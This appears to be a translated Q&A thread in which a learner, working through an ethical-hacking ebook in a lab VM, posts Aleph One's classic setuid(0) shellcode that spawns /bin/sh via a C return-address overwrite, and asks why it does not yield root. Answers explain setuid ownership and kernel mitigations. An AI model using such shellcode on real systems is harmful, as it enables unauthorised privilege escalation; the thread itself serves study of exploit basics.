У меня есть этот кодекс ... Этические взлома - PullRequest
0 голосов
/ 07 мая 2010

Я слежу за этой электронной книгой об этическом взломе, и я дошел до главы об эксплойтах Linux, это код с кодом 1 Алефа.

//shellcode.c

char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { //main function

    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return

    //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the

    //address of the shellcode, so it executes.

}

Я даю привилегии суперпользователя, с

chmod u+s shellcode

как суперпользователь, затем вернитесь к обычному пользователю с помощью

su - normal_user

но когда я запускаю ./shellcode я должен быть пользователем root, но вместо этого я по-прежнему являюсь normal_user так какая помощь ?? Кстати, я работаю на BT4-Final, я отключил ASLR и запускаю BT4 в VMWare ...

Ответы [ 5 ]

9 голосов
/ 07 мая 2010

Если это старый эксплойт ... Разве это не должно было быть исправлено уже давно?

Кстати, в качестве личного совета: не будь таким тупым, чтобы использовать этот псевдоним, а затемходите вокруг, спрашивая о подвигах.

facepalm

7 голосов
/ 07 мая 2010

Является ли исполняемый файл shellcode владельцем root?Бит setuid (u + s) запускает исполняемый файл с привилегиями его владельцем , который не обязательно является пользователем root.

0 голосов
/ 07 мая 2010

Если я правильно понял, код, который вы выполняете (setuid (0)), является системным вызовом, который изменяет текущего пользователя на root . Подвох в том, что он изменяет текущий идентификатор пользователя над этим процессом, давая этому корневому пользователю права доступа. Если он работает, вы можете запустить что-нибудь с правами root.

Чтобы проверить это, создайте файл или каталог с корнем, убедитесь, что вы не можете удалить его как простой пользователь, а затем попробуйте добавить код в свой исполняемый файл, который удаляет файл. Если код работает, файл должен быть удален.

Затем, чтобы получить полномочия root, попробуйте подключиться к новой оболочке из вашей программы. Хотя я не уверен, возможно ли это.

... однако , это старый эксплойт. Старые ядра могут быть открыты для этого, но использование любого последнего выпуска ничего не даст.

ОБНОВЛЕНИЕ: Я только что перечитал код и понял, что вызов оболочки существует (/ bin / sh), так что вы уже переходите на предполагаемую оболочку суперпользователя. Чтобы проверить, работает ли он на самом деле, посмотрите PID вашей оболочки до и после вызова. Если он изменился, выйдите из оболочки, вам следует вернуться к предыдущему PID. Это означает, что (1) это сработало, вы манипулировали стеком и выполняли этот код там, и (2) эксплойт исправлен, и Ядро мешает вам получить доступ.

0 голосов
/ 07 мая 2010

I думаю, setuid только устанавливает uid в 0 во время работы программы. Можете ли вы выполнить какую-либо операцию для проверки UID во время работы шелл-кода?

0 голосов
/ 07 мая 2010

Ну, setuid () меняет пользователя для запущенной в данный момент программы.Ваша оболочка все еще будет работать под вашим обычным пользователем!:)

Либо так, либо я не понимаю цель этого хака.

...